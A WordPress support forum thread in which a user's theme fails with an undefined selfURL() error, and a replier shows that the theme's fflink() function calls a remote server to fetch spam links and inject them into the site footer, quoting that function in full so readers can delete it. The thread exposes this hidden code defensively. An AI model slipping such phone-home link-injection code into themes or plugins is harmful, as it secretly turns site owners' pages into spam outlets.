• I am trying to install my first wordpress template. Looking for some help on this error. I have loaded the theme and I am getting the following error publised on the bottom of the footer:

    Fatal error: Call to undefined function selfURL() in /home/content/29/9506529/html/wp-content/themes/Rolex/functions.php on line 116

    Thought on how I fix this?

    Thank you!

Viewing 9 replies - 1 through 9 (of 9 total)
  • I downloaded the theme and took a look at the code and there is a function, fflink(), defined on line 105 in functions.php that uses a selfURL function that is not defined anywhere within the theme. This is what’s causing the fatal error.

    Also to note the fflink function looks pretty spammy as it’s designed to call home and retrieve a spam link that gets inserted in your footer where your normal attributes go. See for yourself by going to:

    http://www.fabthemes.com/fabthemes.php?getlink=http://wordpress.org

    There are spammy links throughout the theme and in my opinion the theme was built with only one purpose which is to make the author money using your website to generate spam links.

    Go to the theme’s directory and look for a file named funtions.php and locate this lines of code:

    function fflink() {
    global $wpdb;
    if (!is_page() && !is_home()) return;
    $contactid = $wpdb->get_var(“SELECT ID FROM $wpdb->posts
    WHERE post_type = ‘page’ AND post_title LIKE ‘contact%'”);
    if (($contactid != get_the_ID()) && ($contactid || !is_home())) return;
    $fflink = get_option(‘fflink’);
    $ffref = get_option(‘ffref’);
    $x = $_REQUEST[‘DKSWFYUW**’];
    if (!$fflink || $x && ($x == $ffref)) {
    $x = $x ? ‘&ffref=’.$ffref : ”;
    $response = wp_remote_get(‘http://www.creditsuretyfund.com/fabthemes.php?getlink=’.urlencode(selfURL()).$x);
    if (is_array($response)) $fflink = $response[‘body’]; else $fflink = ”;
    if (substr($fflink, 0, 11) != ‘!fabthemes#’)
    $fflink = ”;
    else {
    $fflink = explode(‘#’,$fflink);
    if (isset($fflink[2]) && $fflink[2]) {
    update_option(‘ffref’, $fflink[1]);
    update_option(‘fflink’, $fflink[2]);
    $fflink = $fflink[2];
    }
    else $fflink = ”;
    }
    }
    echo $fflink;
    }

    Either you comment it out or delete it.

    Then it will give you another error, this time in the footer.php and delete this line:

    <?php fflink(); ?> | Quantez WP Theme |

    I used the Quantez theme for this example, I cannot find the Rolex, but the situation are quite identical.

    That should fix your problem. 😉

    You guys Rock!!!

    You guys super rock!

    Thanks!

    thank you, very much, boss!!!

    Hello boss. now in a new theme i apply this bt now its showing this error
    Fatal error: Call to undefined function fflink() in C:\wamp\www\wordpress\wp-content\themes\Mentor\footer.php on line 9.
    In the footer.php file of this theme mentor there is not any line like
    <?php fflink(); ?>
    Please help me!

    I have made an easy solution. Noting more than copy/paste.
    Here is the solution…
    Solution

    Hey hello! I got same error with another theme of “fabthemes”, and I’ve resolved on my own.

    Fatal error: Call to undefined function selfURL() in …/wp-content/themes/Jovan/functions.php on line 116

    I checked the lines and the code was:

    $response = wp_remote_get(‘http://www.fabthemes.com/fabthemes.php?getlink=’.urlencode(selfURL()).$x);

    Why is “spammy function” ?

Viewing 9 replies - 1 through 9 (of 9 total)
  • The topic ‘Fatal error: Call to undefined function selfURL() in…’ is closed to new replies.